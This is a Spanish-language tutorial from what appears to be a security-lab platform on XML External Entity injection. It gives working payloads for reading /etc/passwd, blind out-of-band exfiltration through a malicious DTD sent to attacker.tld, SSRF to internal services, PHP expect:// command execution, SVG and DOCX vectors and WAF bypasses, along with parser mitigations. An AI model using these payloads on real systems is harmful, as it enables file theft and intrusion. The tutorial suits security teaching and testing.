Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel IntermedioGratis

XXE — XML External Entity injection y exfiltración OOB

Cómo abusar parsers XML mal configurados: leer archivos del servidor, SSRF interna, blind XXE via DTD external. Endpoints típicos: SAML, SOAP, parser de configuración.

Gorka El Bochi9 de mayo de 202611 min

Respuesta rápida

XXE (XML External Entity) ocurre cuando un parser XML procesa entidades externas declaradas por el atacante. Permite leer archivos arbitrarios del servidor, SSRF a la red interna, y a veces RCE (PHP expect://). Endpoints típicos: SOAP APIs, SAML callbacks, importadores de configuración (XML/Office docs), conversores. Aunque XML está en declive, sigue presente en sistemas legacy y en SAML.


Cómo funciona

XML soporta declarar entidades externas que el parser resuelve cargando recursos. Si el parser está mal configurado:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

El parser resuelve &xxe; cargando el contenido de /etc/passwd y lo devuelve en el response — si el response refleja el campo <data>, lees el archivo.


Variantes

1. XXE clásica con file read

xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<request><user>&xxe;</user></request>

Funciona si el response devuelve el valor del campo donde se inyecta la entidad.

2. XXE blind via DTD externa (OOB)

Cuando el response no refleja el contenido pero el parser puede hacer requests:

xml
<!DOCTYPE foo [
  <!ENTITY % ext SYSTEM "https://attacker.tld/evil.dtd">
  %ext;
]>
<root></root>

evil.dtd en el servidor del atacante:

xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://attacker.tld/?leak=%file;'>">
%eval;
%exfil;

El parser:

  1. Carga la DTD externa.
  2. Lee /etc/passwd en %file.
  3. Define %exfil con un GET a attacker.tld con el contenido como query param.
  4. Resuelve %exfil → request HTTP llega a attacker con el contenido.

Burp Collaborator es perfecto para hostear DTDs maliciosas y ver los hits.

3. SSRF via XXE

xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-service:8080/admin">]>
<root>&xxe;</root>

El parser hace HTTP request al endpoint interno desde el server. El response (o parte) puede acabar reflejado.

4. RCE en PHP (legacy)

PHP con expect wrapper habilitado:

xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
<root>&xxe;</root>

Ejecuta id en el shell. Requiere extension expect cargada (raro, pero existe en setups legacy).


Endpoints donde buscar

SAML

SAML es XML por diseño. Cualquier endpoint /saml/login, /saml/callback, /auth/sso que procese assertions XML enviadas por el cliente es candidato. La SAML response es enviada por el browser tras el IdP — si el SP la procesa con un parser inseguro, XXE.

SOAP APIs

Webservices SOAP procesan XML. Endpoints *.asmx, *.svc, *.wsdl, paths con /soap, /services, /api/v1/soap.

Importadores de configuración

  • Importar .docx, .xlsx, .pptx (todos contienen XML internamente).
  • Importar SVG (XML-based).
  • Importar OPML, RSS, GPX.
  • Importar configuraciones (.config, .xml).

Office documents (DOCX/XLSX/PPTX)

Estos formatos son ZIP de XMLs. Subir un docx con [Content_Types].xml modificado para incluir DTD externa puede triggear XXE en el converter del backend.

arduino
docx_zip/
├── [Content_Types].xml   ← modificar aquí
├── word/
│   └── document.xml
└── _rels/

SVG uploads

xml
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

Si la app convierte SVG → PNG con ImageMagick u otro parser que respeta entidades externas, lee el archivo.


Bypasses de WAFs

Encoding alternativo

xml
<?xml version="1.0" encoding="UTF-16"?>

Si el WAF solo escanea UTF-8, UTF-16 (con BOM) puede bypasarlo.

Parameter entities

xml
<!ENTITY % start "<!ENTITY xxe">
<!ENTITY % end " SYSTEM 'file:///etc/passwd'>">
%start;%end;

Construir la entity dinámicamente para evadir detección de string.

CDATA + entity

xml
<![CDATA[<!ENTITY xxe SYSTEM "file:///etc/passwd">]]>

A veces parseado por el motor pero filtrado por el WAF.


Detección rápida

Test mínimo: enviar XML con DTD que apunte a Collaborator:

xml
<!DOCTYPE foo [<!ENTITY % ext SYSTEM "https://yourcollab.collab.tld/test"> %ext;]>
<root></root>

Si llega un hit a Collaborator → el parser resuelve external entities → posible XXE explotable.


Mitigación correcta

  1. Deshabilitar resolución de entidades externas en cada parser:
    • Java: factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true).
    • Python lxml: parser = etree.XMLParser(resolve_entities=False).
    • PHP: libxml_disable_entity_loader(true) (deprecated en PHP 8 — ya es default).
    • .NET: XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit.
  2. Whitelist de tipos aceptados (no aceptar XML si no se necesita).
  3. WAF como segunda línea, nunca primera.

Hunting checklist

  • ¿El endpoint acepta Content-Type: application/xml o text/xml?
  • ¿Hay imports de docx/xlsx/pptx/svg/opml/gpx?
  • ¿Hay /saml/, /soap/, endpoints SOAP-style?
  • ¿Probar Collaborator-based detection con DTD externa?
  • ¿Hay errores XML verbose si mando malformado?
  • ¿<!DOCTYPE> se permite en el body?
  • ¿Office docs procesados server-side (preview, conversion, OCR)?

Labs relacionados

Practica XXE clásica, blind via DTD externa y SSRF interna a través de XML: labs de XXE.

Practica esto en un lab

Xxe

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados